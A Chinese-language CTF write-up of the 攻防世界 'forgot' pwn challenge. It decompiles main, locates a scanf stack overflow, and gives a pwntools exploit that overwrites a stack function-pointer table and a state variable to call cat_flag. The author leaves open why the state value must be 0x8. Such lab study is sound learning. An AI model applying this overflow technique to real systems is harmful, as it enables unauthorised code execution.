下面记录一下我在做攻防世界的pwn练习题中的forgot题目的过程,这个题目现在还是有些疑惑的

首先我们看一下题目的安全机制:

然后IDA看一下主函数:

int __cdecl main()
{size_t v0; // ebxchar v2[32]; // [esp+10h] [ebp-74h]int (*v3)(); // [esp+30h] [ebp-54h]int (*v4)(); // [esp+34h] [ebp-50h]int (*v5)(); // [esp+38h] [ebp-4Ch]int (*v6)(); // [esp+3Ch] [ebp-48h]int (*v7)(); // [esp+40h] [ebp-44h]int (*v8)(); // [esp+44h] [ebp-40h]int (*v9)(); // [esp+48h] [ebp-3Ch]int (*v10)(); // [esp+4Ch] [ebp-38h]int (*v11)(); // [esp+50h] [ebp-34h]int (*v12)(); // [esp+54h] [ebp-30h]char s; // [esp+58h] [ebp-2Ch]int v14; // [esp+78h] [ebp-Ch]size_t i; // [esp+7Ch] [ebp-8h]v14 = 1;v3 = sub_8048604;v4 = sub_8048618;v5 = sub_804862C;v6 = sub_8048640;v7 = sub_8048654;v8 = sub_8048668;v9 = sub_804867C;v10 = sub_8048690;v11 = sub_80486A4;v12 = sub_80486B8;puts("What is your name?");printf("> ");fflush(stdout);fgets(&s, 0x20, stdin);                       // 此处没有溢出sub_80485DD((int)&s);                         // 输出必要信息fflush(stdout);printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);fflush(stdout);puts("Enter the string to be validate");printf("> ");fflush(stdout);__isoc99_scanf("%s", v2);                     // 此处会存在溢出 32bytesfor ( i = 0; ; ++i ){v0 = i;if ( v0 >= strlen(v2) )break;switch ( v14 ){case 1:if ( sub_8048702(v2[i]) )v14 = 2;break;case 2:if ( v2[i] == '@' )v14 = 3;break;case 3:if ( sub_804874C(v2[i]) )v14 = 4;break;case 4:if ( v2[i] == '.' )v14 = 5;break;case 5:if ( sub_8048784(v2[i]) )v14 = 6;break;case 6:if ( sub_8048784(v2[i]) )v14 = 7;break;case 7:if ( sub_8048784(v2[i]) )v14 = 8;break;case 8:if ( sub_8048784(v2[i]) )v14 = 9;break;case 9:v14 = 10;break;default:continue;}}(*(&v3 + --v14))();                           // 此处调用cat_flagreturn fflush(stdout);
}

同时我们看一下程序的字符串,发现了我们需要的函数:

再回顾主函数,我们发现发现有两个scanf,并显然第二个scanf存在溢出漏洞,并且程序在栈中存放了一系列的函数的地址,而且在程序的最后根据v14的值选择其中一个函数并执行。

我们可以考虑在溢出的时候更改栈中的函数地址,并控制v14的值,使得程序能够跳转执行cat flag

根据程序的switch流程,我们可以很容易使得for循环结束的时候,v14的值为10,v3偏移为0x54, 调用的函数地址的偏移为0x54-0x9=0x4b, 则v2到函数地址的偏移为0x74-0x54+0x9 * 4=0x44, 即在0x44偏移位置填充cat_flag函数地址,然后填充0x2c-0xc=0x20的字符来填充s缓冲区,然后覆盖v14的值。

根据栈帧的结构,我们可以构造如下payload,exp如下:

# 2020/6/17from pwn import *print(cyclic(0x74-0x2c))
print(cyclic_find('jaaa'))context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']p = process("/home/tucker/ctf_pwn/forgot")pwnlib.gdb.attach(p)p.recv()
p.sendline("tucker")
p.recv()catflag_addr = 0x80486CC
# payload = 'a' * 36 + p32(catflag_addr) + "@gamil.com"# cover v14 with 0x8  why is 0x8, not 0x9 or 0xa??
payload = 'a' * 0x44 + p32(catflag_addr) + 'a' * 0x20 + p32(0x8)p.sendline(payload)p.interactive()

(此处有个疑惑,此处v14的值为何只能覆盖为0x8,而不能使0x9,或者0xa)

另外在此实验中,我初步了解了使用pwntools附加gdb进程进行调试。这样可以使用我们构造的payload。

攻防世界 pwn forgot相关推荐

  1. [攻防世界 pwn]——forgot

    [攻防世界 pwn]--forgot 题目地址: https://adworld.xctf.org.cn/ 题目: 在checksec看下保护 在IDA中, 竟然有后面函数, 找到sub_80486C ...

  2. 攻防世界pwn——forgot

    分析 checksec IDA 直接搜flag找到sub_80486CC,有system,这肯定是我们要调用的函数了,函数地址0x080486CC int sub_80486CC() {char s[ ...

  3. 攻防世界(Pwn) forgot---栈溢出;(方法二)

    攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

  4. 攻防世界(Pwn) forgot---栈溢出;(方法一)

    攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...

  5. 攻防世界 Pwn 进阶 第一页

    00 要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区. 攻防世界 Pwn 新手 1.栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc. 常见漏洞点有read( ...

  6. [攻防世界 pwn]——pwn1(内涵peak小知识)

    [攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...

  7. [攻防世界 pwn]——实时数据监测

    [攻防世界 pwn]--实时数据监测 题目地址:https://adworld.xctf.org.cn/ 题目: checksec就不说了,没什么 ida中 只要将key里面的值修改为35795746 ...

  8. [攻防世界 pwn]——monkey

    [攻防世界 pwn]--monkey 题目地址:https://adworld.xctf.org.cn/ 题目: 额,怎么说呢这道题.checksec没什么大不了的 但是再IDA中就懵了,好大呀.好多 ...

  9. [攻防世界 pwn]——反应釜开关控制

    [攻防世界 pwn]--反应釜开关控制 题目地址:https://adworld.xctf.org.cn/ 题目: 无言以对,直接给你shell函数,返回覆盖到shell函数就OK了 exploit ...

最新文章

  1. 网卡绑定技术linux c,Linux多网卡绑定
  2. 转 容器生态系统 (续) - 每天5分钟玩转容器技术(3)
  3. 基于TCP的一对回射客户/服务器程序及其运行过程分析( 下 )
  4. [收藏] 微软850位顶级人才不做Windows研发
  5. Linux命令中的参数,linux中一些命令以及一些参数的用法
  6. Android之利用EventBus进行数据传递
  7. Python-异常处理
  8. YUM服务那些事---详解YUM服务
  9. java给pdf文件加水印
  10. Python常用函数总结(按照字母顺序)
  11. 小程序:下载图片文件(wx.downloadFile)并保存到手机相册(wx.saveImageToPhotosAlbum)
  12. BootStrap框架模块:BootStrap4基础
  13. 海康硬盘录像机 rtsp/onvif 视频配置
  14. 浏览器的收藏夹在哪里打开
  15. SSD和HDD的磁盘读写
  16. 自制廉价难度低性能较好的锂电充电器(转)
  17. C++文字游戏(丧尸)
  18. 利用 Python 对某网上商城进行战略分析
  19. 华为究竟是一种什么文化?
  20. 蓝桥杯 真题 2021 4、路径

热门文章

  1. android 触摸时震动,android触屏震动以及震动强度批改
  2. usaco 奶牛集会 奶牛抗议
  3. 偏序集的Dilworth定理学习 (转载)
  4. 请编写一个函数,接收两颗星星赤经和赤纬的角度作为参数,计算并返回这两颗星星所对弧的角度。
  5. 安卓手机如何快速投屏到windows(10/8.1/7)电脑上
  6. SD卡电平转换器 - NXS0506UP
  7. 认识微型计算机 ppt,全国“xx杯”计算机应用基础类说课大赛优秀作品:认识微型计算机的组成 2.ppt...
  8. SMP、COW、PVP、MPP计算机相关
  9. 硕博电子-AGV小车控制器
  10. IntelliJ Idea列操作高效解决批量操作(生成枚举类实例)